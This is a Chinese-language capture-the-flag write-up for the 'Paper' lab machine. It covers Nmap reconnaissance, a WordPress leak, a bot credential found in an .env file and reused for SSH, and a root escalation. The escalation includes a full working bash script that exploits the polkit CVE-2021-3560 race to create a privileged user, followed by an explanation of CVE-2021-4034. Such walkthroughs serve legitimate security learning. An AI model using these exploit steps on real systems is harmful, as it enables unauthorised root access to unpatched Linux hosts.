本文描述了一种针对名为“Paper”的靶机的渗透测试过程。首先,通过Nmap扫描确认开放的端口和服务,包括SSH和Apache HTTP。接着,利用WordPress的漏洞进行信息收集,并成功注册用户以获取访问权限。文章详细介绍了如何通过特定的命令和代码利用CVE-2021-3560漏洞进行特权升级,最终获得root权限,展示了渗透测试的完整链条及其学习经验。

Information Gathering

# Nmap 7.98 scan initiated Thu Dec 25 18:05:58 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.143
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.095s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_  http/1.1
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after:  2022-07-08T10:32:34
| MD5:     579a 92bd 803c ac47 d49c 5add e44e 4f84
| SHA-1:   61a2 301f 9e5c 2603 a643 00b5 e5da 5fd5 c175 f3a9
|_SHA-256: d5f0 f409 8515 2a6f eae7 437b 7ef0 888a 983c 503d 759a 2c07 1204 b408 a42b 0fc3
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 30.160 days (since Tue Nov 25 14:16:02 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 25 18:06:20 2025 -- 1 IP address (1 host up) scanned in 21.80 seconds

Vulnerability Analysis

image

更改请求方法得到虚拟主机

进入http://office.paper/得到wordpress的blog

在页面中发现一个泄露

image

其次我们查看到wordpress版本号为5.2.3得到漏洞

http://office.paper/?static=1输入后得到注册网址http://chat.office.paper/register/8qozr226AhkCHZdyY

 

Exploitation (User Flag)

注册后在# general中得到一个机器人,私自发信息给他

枚举后file ../hubot/.env得到

export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1

查看/etc/passwd →rocketchat和dwight

image
➜  Paper ssh dwight@paper.htb
# Queenofblad3s!23

Privilege Escalation (Root Flag)

[dwight@paper ~]$ rpm -qa | grep polkit
polkit-0.115-6.el8.x86_64

得到CVE-2021-3560,竞争条件漏洞

CVE-2021-3560 的核心在于:如果在 Polkit 还在查询用户信息的时候,我们突然杀死了你的进程,会发生什么?

发送请求(比如:“我要创建一个 Root 用户”)。
Polkit 接到请求,准备去查UID。
然后在极短的时间内(几毫秒)杀掉 (Kill) 刚才发送请求的进程。
Polkit 懵了。它去 /proc 查我们的 PID,结果发现进程不见了。
Bug 出现了: Polkit 的代码中有一个错误处理逻辑。当它无法获取请求者的 UID 时,它没有报错拒绝,而是默认把请求者的 UID 判定为 0 (Root)。
结果:Polkit 认为“哦,原来是 Root 发起的请求啊,那不需要密码”,直接放行。
AccountService 收到 Polkit 的“放行”指令,帮我们创建了用户。

分两段进行

echo "[*] Starting Phase 1: Creating user 'hacker'..."
# 成功标志:id hacker 命令能查到信息
while ! id hacker >/dev/null 2>&1; do
    dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply \
    /org/freedesktop/Accounts \
    org.freedesktop.Accounts.CreateUser \
    string:"hacker" string:"Hacker Account" int32:1 & \
    sleep 0.005; \
    kill $!;
done
echo "[+] User 'hacker' created successfully!"
echo "[*] Starting Phase 2: Setting password..."

# 1. 生成密码 'password123' 的 SHA-512 哈希
myhash=$(openssl passwd -5 password123)

# 2. 获取刚才创建的 hacker 用户的 UID
target_uid=$(id -u hacker)
echo "[*] Target UID is: $target_uid"

# 3. 循环攻击 SetPassword 接口
# 我们不依赖报错判断,而是跑它个 50 次,大概率能中
for i in {1..50}; do
    dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply \
    /org/freedesktop/Accounts/User$target_uid \
    org.freedesktop.Accounts.User.SetPassword \
    string:"$myhash" string:"ask" & \
    sleep 0.005; \
    kill $!;
done
echo "[*] Attack loops finished. Try logging in now."
# 这个多尝试几次
su hacker
# 输入密码:password123
sudo -l
# 你会看到 (ALL : ALL) ALL
sudo bash
# 获得 ROOT 权限

Lessons Learned

CVE-2021-4034 当一个程序(比如 pkexec)启动时,内核会将参数(argv)和环境变量(envp)放在栈上,而且它们是紧挨着的:

| argv[0] | argv[1] | ... | argv[argc] (NULL) | envp[0] | envp[1] | ... |
  • argv 存放你输入的命令参数。
  • envp 存放环境变量(如 PATH=/bin, HOME=/root)。
  • 正常情况下,argv 列表是以 NULL 结尾的,用来告诉程序参数读完了。

pkexec 的源码里大概是这样写的(伪代码):

main(int argc, char *argv[]) {
    // 目标:找到要执行的程序名
    // 正常用法:pkexec bash (argv[0]="pkexec", argv[1]="bash")
    // n 初始为 1
    for (n = 1; n < argc; n++) {
        // ... 一些检查 ...
        // 如果一切正常,把 argv[n] 设为要执行的程序路径
        path = argv[n]; 
        break; 
    }
    // ... 后面会查找 path 的绝对路径并执行 ...
}

argc 为 0 时发生:

  • 循环条件 n < argc (1 < 0) 不满足,循环直接跳过。
  • 但是! 代码后面仍然尝试去读取 argv[n](即 argv[1])来获取要执行的程序名。
  • 回到上面的内存图:由于 argv 是空的,argv[1] 的位置实际上越界读到了 envp[0](第一个环境变量)。

pkexec第一个环境变量当成了它要执行的程序名

攻击链:如何利用这个“错位”

仅仅把环境变量当成程序名还不足以提权,我们需要结合 pkexec 的另一个特性:重新加载环境变量

当你运行 pkexec 时,为了安全,它会清除一些危险的环境变量(比如 LD_PRELOAD),防止你注入恶意库。但是,我们可以利用上述的“错位”把它骗回来。

步骤演示

  1. 构造特殊的 envp 我们通过 execve 启动 pkexec,并传入这样的环境变量列表:
  2. pkexec 的反应
  3. GCONV_PATH 注入 (关键一击)
  4. 执行恶意代码